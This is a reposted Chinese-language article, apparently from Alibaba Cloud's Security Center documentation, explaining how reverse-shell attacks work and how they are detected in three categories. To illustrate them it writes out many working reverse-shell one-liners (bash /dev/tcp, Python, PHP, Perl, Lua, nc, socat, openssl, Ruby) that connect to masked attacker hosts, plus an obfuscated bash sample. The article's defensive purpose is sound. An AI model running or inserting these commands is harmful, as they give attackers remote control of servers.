最新消息:

云安全中心反弹Shell多维检测技术详解

置顶文章 admin 766浏览 0评论

反弹Shell是黑客控制受害服务器的一种攻击手段,常用于受害服务器位于内网、受限于防火墙策略等无法使用正向连接的入侵场景。本文介绍反弹Shell攻击的现状、常规解决方法、分类与检测思想以及云安全中心针对反弹Shell提供的多维检测技术。

背景信息

反弹Shell是黑客(即Shell攻击者)用于控制受害服务器的一种手段。Shell攻击者指定服务端,并将需要受害服务器执行的命令(标准输入、标准输出、标准错误等)重定向到该服务端。受害服务器主动连接攻击者的服务端程序,攻击者的服务端通过监听来自受害服务器的请求,对目标服务器下发指令并获取执行结果,以达到攻击者可以控制受害服务器的目的。

反弹Shell攻击现状

阿里云云安全中心通过分析历史中云上环境的Linux服务器入侵事件,总结出了攻击链路中实现反弹Shell的语言及工具使用率,详情如下图所示。

其中交互式Bash+/dev/tcp是使用最多的反弹Shell,/dev/tcp作为Bash的默认特性使得该反弹方式兼容绝大多数环境,因此使用率高。紧随其后的是兼容性较好且灵活易用的Python。随着Go语言的兴起,云上入侵事件开始出现Go反弹Shell。从上图可以看出弹Shell实现的方式灵活多样,每种语言都可以进一步延伸和扩展。因此,为了保障最优的检出效果,反弹Shell的检测方案需要综合考虑多种场景因素。

常规检测方法

常见的检测方案是通过正则匹配的方式,提取反弹Shell命令的特征去匹配命令日志、流量日志。该方案具有以下不足:

  • 命令日志采集不完整:例如通过Netlink等方式采集的日志,在碰到管道符、重定向时会无法采集完整的原始执行命令。而通过Patch Bash的方式记录命令日志,在遇到服务器使用Zsh、Ksh等其他Shell环境,或攻击者上传自己编译的Bash时会失效。
  • 正则匹配无法覆盖无穷无尽的文本对抗:攻击者可以不断挖掘出新的变形方式来绕过正则匹配。在实际业务场景中,过多复杂的正则匹配会带来更大性能压力,而通配性更广的正则匹配会带来更多误报。
  • 特征匹配失效:在网络流量被加密后,特征匹配会失效。

分类检测思想

因为表层对抗是无穷无尽的,检测需要由表及里,尽可能挖掘出更本质的解决方法。从检测的角度来看,反弹Shell的本质可以理解为:网络通信+命令执行+重定向方式。

命令执行和网络通信借助重定向,可以构建出一条流动的数据通道。攻击者可以利用这条通道下发指令控制受害服务器。不同的实现方式组合在一起,就形成了多种多样的反弹Shell。例如:

  • 网络通信可以使用TCP、UDP、ICMP等协议,TCP协议再细分又可以包含HTTP、HTTPS协议等,UDP包含DNS等。
  • 命令执行可以通过调用Shell解释器、Glibc库、Syscall等方式实现。
  • 重定向可以通过管道、成对的伪终端、内存文件等实现。
从检测的角度,可以将反弹Shell分为以下三种类型:

  • 第一类反弹Shell:直接重定向Shell的输入输出到Socket
    该类型反弹Shell最典型的例子是:

    <code class="hljs language-javascript">bash -i &gt;&amp; <span class="hljs-regexp">/dev/</span>tcp/<span class="hljs-number">10.10</span>.<span class="hljs-property">XX</span>.<span class="hljs-property">XX</span>/<span class="hljs-number">666</span> <span class="hljs-number">0</span>&gt;&amp;<span class="hljs-number">1</span></code>
    以下介绍直接重定向Shell解释器的输入输出到Socket类型的常见案例。

    • 案例一:
      <code class="hljs language-javascript">bash -i &gt;&amp; <span class="hljs-regexp">/dev/</span>tcp/<span class="hljs-number">10.10</span>.<span class="hljs-property">XX</span>.<span class="hljs-property">XX</span>/<span class="hljs-number">6060</span> <span class="hljs-number">0</span>&gt;&amp;<span class="hljs-number">1</span></code>
    • 案例二:
      <code class="hljs language-sql">python <span class="hljs-operator">-</span>c <span class="hljs-string">'import 
      socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
      s.connect(("10.10.XX.XX",6060));
      os.dup2(s.fileno(),0); 
      os.dup2(s.fileno(),1); 
      os.dup2(s.fileno(),2);
      p=subprocess.call(["/bin/sh","-i"]);'</span></code>
    • 案例三:
      <code class="hljs language-javascript">php -r <span class="hljs-string">'$sock=fsockopen("10.10.XX.XX",6060);exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'</span></code>
    • 案例四:
      <code class="hljs language-sql">perl <span class="hljs-operator">-</span>e <span class="hljs-string">'use 
      Socket;$i="10.10.XX.XX";$p=6060;  
      socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
      if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");
      open(STDERR,"&gt;&amp;S");
      exec("/bin/sh -i");};'</span></code>
    • 案例五:
      <code class="hljs language-javascript">lua -e 
      <span class="hljs-string">"require('socket');require('os');t=socket.tcp();t:connect('10.10.XX.XX','6060');os.execute('/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3');"</span></code>
    该类型反弹Shell通过重定向bash -i的标准输入、标准输出、标准错误到/dev/tcp Socket进行网络通信。下图可以帮助您理解重定向过程。
    这类反弹Shell的检测可以通过检测Shell的标准输入、标注输出是否被重定向到Socket或检测一些简单的主机网络日志特征来实现。
    云安全中心已支持检测此类型的反弹Shell,下图是检测出该类型反弹Shell后产生的告警。
  • 第二类反弹Shell:通过管道、伪终端等中转,再重定向Shell的输入输出到中转
    此类反弹Shell借助管道、伪终端等进行中转,例如下面这个典型案例将sh -i的标准输入、标准输出、标准错误重定向到命名管道/tmp/f,同时加密通信数据也流向该命名管道。

    <code class="hljs language-javascript">mkfifo /tmp/f; <span class="hljs-regexp">/bin/</span>sh -i &lt; <span class="hljs-regexp">/tmp/</span>f <span class="hljs-number">2</span>&gt;&amp;<span class="hljs-number">1</span> | openssl s_client -quiet -connect <span class="hljs-number">0.0</span>.<span class="hljs-property">XX</span>.<span class="hljs-property">XX</span>:<span class="hljs-number">666</span> &gt; <span class="hljs-regexp">/tmp/</span>f</code>
    通过管道、伪终端等作为中转体,并与Socket打通,重定向Shell解释器的输入输出到中转体,有以下常见案例:

    • 案例一:
      <code class="hljs language-python">nc <span class="hljs-number">10.10</span>.XX.XX <span class="hljs-number">6060</span>|/<span class="hljs-built_in">bin</span>/sh|nc <span class="hljs-number">10.10</span>.XX.XX <span class="hljs-number">5050</span> nc -e /<span class="hljs-built_in">bin</span>/bash <span class="hljs-number">10.10</span>.XX.XX <span class="hljs-number">6060</span> nc -c bash <span class="hljs-number">10.10</span>.XX.XX <span class="hljs-number">6060</span> socat <span class="hljs-built_in">exec</span>:<span class="hljs-string">'bash -li'</span>,pty,stderr,setsid,sigint,sane tcp:<span class="hljs-number">10.10</span>.XX.XX:<span class="hljs-number">6060</span></code>
    • 案例二:
      <code class="hljs language-bash"><span class="hljs-built_in">mkfifo</span> /tmp/f;<span class="hljs-built_in">cat</span> /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.XX.XX 6060&gt;/tmp/f</code>
    • 案例三:
      <code class="hljs language-bash"><span class="hljs-built_in">mkfifo</span> /tmp/s; /bin/sh -i &lt; /tmp/s 2&gt;&amp;1 | openssl s_client -quiet -connect 10.10.XX.XX:6060 &gt; /tmp/s; <span class="hljs-built_in">rm</span> /tmp/s</code>
    • 案例四:
      <code class="hljs language-javascript">mknod backpipe p; nc <span class="hljs-number">10.10</span>.<span class="hljs-property">XX</span>.<span class="hljs-property">XX</span> <span class="hljs-number">6060</span> <span class="hljs-number">0</span>&lt;backpipe | <span class="hljs-regexp">/bin/</span>bash <span class="hljs-number">1</span>&gt;backpipe <span class="hljs-number">2</span>&gt;backpipe</code>
    • 案例五:
      <code class="hljs language-javascript">bash -c <span class="hljs-string">'exec 5&lt;&gt;/dev/tcp/10.10.XX.XX/6060;cat &lt;&amp;5|while read line;do $line &gt;&amp;5 2&gt;&amp;1;done'</span></code>
    • 案例六:
      <code class="hljs language-javascript">telnet <span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.10</span> <span class="hljs-number">6060</span> | <span class="hljs-regexp">/bin/</span>bash | telnet <span class="hljs-number">10.10</span>.<span class="hljs-property">XX</span>.<span class="hljs-property">XX</span> <span class="hljs-number">5050</span></code>
    在某些变形的场景下,可能经过层层中转,但无论经过几层最终都会形成一条流动的数据通道。通过跟踪FD(文件描述符File Descriptor)和进程的关系可以检测该数据通道。
    云安全中心已支持检测通过管道中转的反弹Shell,下图是检测出该类型反弹Shell后产生的告警。
    此类反弹Shell使用频率较高,其中利用伪终端中转的方式值得单独讨论,比如以下案例。

    <code class="hljs language-sql">python <span class="hljs-operator">-</span>c <span class="hljs-string">'import 
    socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.XX.XX",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'</span></code>
    通过伪终端中转与通过管道等中转原理一样,但通过伪终端中转的检测难度大大提升,单从Shell的标准输入输出来看,和正常打开的终端没有什么区别。此外,一些场景如容器、各类产品Agent等也会有相似的日志记录,平衡漏报与误报的难度上大大提升。因此我们在文件描述符合检测方案的基础上,结合进程、网络等多种日志信息综合分析。以下是云安全中心检测出的利用伪终端中转方式的告警。
  • 第三类反弹Shell:编程语言实现标准输入中转,重定向命令执行的输入到中转
    第三种类型反弹Shell通过编程语言实现标准输入的中转,然后重定向命令执行的输入到中转,标准输出和标准错误中转形式不限制。以下是该类型反弹Shell的典型示例:

    <code class="hljs language-sql">python <span class="hljs-operator">-</span> c "exec(\"import socket, subprocess;s <span class="hljs-operator">=</span> socket.socket();s.connect((<span class="hljs-string">'0.0.0.0'</span>,<span class="hljs-number">666</span>))\nwhile <span class="hljs-number">1</span>:  proc <span class="hljs-operator">=</span> subprocess.Popen(s.recv(<span class="hljs-number">1024</span>), stdout<span class="hljs-operator">=</span>subprocess.PIPE, stderr<span class="hljs-operator">=</span>subprocess.PIPE,Shell<span class="hljs-operator">=</span><span class="hljs-literal">True</span>);s.send(proc.stdout.read()<span class="hljs-operator">+</span>proc.stderr.read())\")"</code>
    Shell攻击者使用编程语言实现标准输入中转,重定向命令执行的输入到中转,有如下常见案例:

    • 案例一:
      <code class="hljs language-sql">python <span class="hljs-operator">-</span>c "exec(\"import socket, subprocess;s <span class="hljs-operator">=</span> socket.socket();s.connect((<span class="hljs-string">'10.10.XX.XX'</span>,<span class="hljs-number">6060</span>))\nwhile <span class="hljs-number">1</span>:  proc <span class="hljs-operator">=</span> subprocess.Popen(s.recv(<span class="hljs-number">1024</span>), Shell<span class="hljs-operator">=</span><span class="hljs-literal">True</span>, stdout<span class="hljs-operator">=</span>subprocess.PIPE, stderr<span class="hljs-operator">=</span>subprocess.PIPE, stdin<span class="hljs-operator">=</span>subprocess.PIPE);s.send(proc.stdout.read()<span class="hljs-operator">+</span>proc.stderr.read())\")"</code>
    • 案例二:
      <code class="hljs language-javascript">lua5<span class="hljs-number">.1</span> -e <span class="hljs-string">'local host, port = "10.10.XX.XX", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'</span></code>
    • 案例三:
      <code class="hljs language-javascript">ruby -rsocket -e <span class="hljs-string">'exit if fork;c=TCPSocket.new("10.10.XX.XX","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'</span></code>

    在这种场景下,反弹Shell的命令执行和正常业务行为变得更加难以区分,对抗程度上升,除了从进程命令行尽可能的覆盖这类反弹Shell的特征以外,云安全中心通过异常命令行为序列、异常Shell启动模型检测该类反弹Shell。

    异常命令行为序列模型基于阿里云大数据实时计算平台,通过分析命令序列与攻击者获取Shell后行为相似度来判定是否为反弹Shell。而异常Shell启动模型结合多维度特征以及机器历史行为综合判定产出告警。以下是云安全中心已检测出的告警。

云安全中心多维检测方案

攻击与防御技术总是在不断的对抗中升级,攻击技术任何单点的突破都可能形成稳定绕过防御技术的局面。理论上任何一种反弹Shell检测都不是完美的,特别是第三类反弹Shell。云安全中心支持纵深检测,采用多维度交叉检测反弹Shell方案,通过进程特征覆盖、文件描述符分析、命令行为序列、异常Shell启动、二进制沙箱、脚本沙箱、流量特征覆盖、对抗行为检测共八项技术在不同入侵阶段埋点,从而最大程度保障检出效果。

除了分类检测思想中介绍的更贴近反弹Shell本质的FD检测技术、从行为目的出发的异常命令行为序列检测技术、异常Shell启动检测和常规的命令、网络特征覆盖方案以外,云安全中心同时使用以下检测技术:

  • 脚本沙箱

    对于脚本类型的反弹Shell,云安全中心提供针对性的解决方案。

    云安全中心会对落盘脚本文件进行文件落盘检测,检测的语言包括但不限于Bash、Python、Perl、Vbs、PowerShell、Bat、JAR等。

    <code class="hljs language-bash"><span class="hljs-string">"<span class="hljs-variable">${@~~}</span>"</span>  <span class="hljs-string">"<span class="hljs-variable">${@^^}</span>"</span>   <span class="hljs-variable">$BASH</span>  <span class="hljs-variable">${*%%$9tcW\)zX}</span>   &lt;&lt;&lt; <span class="hljs-string">"<span class="hljs-subst">$(  "<span class="hljs-variable">${@~~}</span>"  $'\162'''e${*}v &lt;&lt;&lt; '
    }^^*{$   ")     }^^*{$  ;   }4S:\{\/CZ.!\?//@{$   }^^@{$   "}~~H7ONC{$"   s%  f\"t"n""ir*$p}@!{$
    },*{$ }L&gt;JO%*{$ &amp;&amp;  }ca\L&amp;[\%%@{$ '"'"'1&amp;&gt;0 3332/1.1.1.1/PCT/VED/ &amp;&gt; I- HSAB'"'"'=H7ONC    
    ($"   l}#VDG~g/g:fii\//*{<span class="hljs-variable">$a</span>"}~@{$"v'"'"'e'"'"'   }~*{$  '  <span class="hljs-variable">${@~}</span>   <span class="hljs-variable">${@^}</span>  ;   <span class="hljs-variable">${*%%S9;fj$^Y}</span>    )"   ${*,,} ${@%r-,,}</span></span></code>

    云安全中心会对混淆类样本,通过每种语言的Trace模式,动态解混淆后进行检测。

    近些年随着Java应用越来越多,在云上也出现一些利用JAR包进行反弹Shell的案例。云安全中心会对JAR等打包类文件进行静态反编译并结合动态的运行进行多维度判定。
    随着攻防对抗程度提升,无文件攻击越来越流行,云安全中心针对无文件类反弹Shell提供了相应检测方案。
  • 二进制沙箱
    云安全中心对于常见的C/C++、Go、MeterPreter Shellcode等二进制反弹Shell开发方式进行了特殊的识别和处理,综合导入函数特征、代码特征、二进制在沙箱中的动态行为特征等多个维度进行检测。
  • 流量特征分析
    云安全中心覆盖常见Shell通信特征,辅助提升反弹Shell检测效果。
  • 对抗行为检测
    云安全中心覆盖常见绕过方式,如替换系统Shell、命令编码等,作为辅助手段提升检测效果。

转自:https://www.alibabacloud.com/help/zh/security-center/latest/detect-reverse-shells-from-multiple-dimensions

转载请注明:jinglingshu的博客 » 云安全中心反弹Shell多维检测技术详解


Warning: Use of undefined constant PRC - assumed 'PRC' (this will throw an Error in a future version of PHP) in /usr/share/nginx/html/wp-content/themes/d8/comments.php on line 17
发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址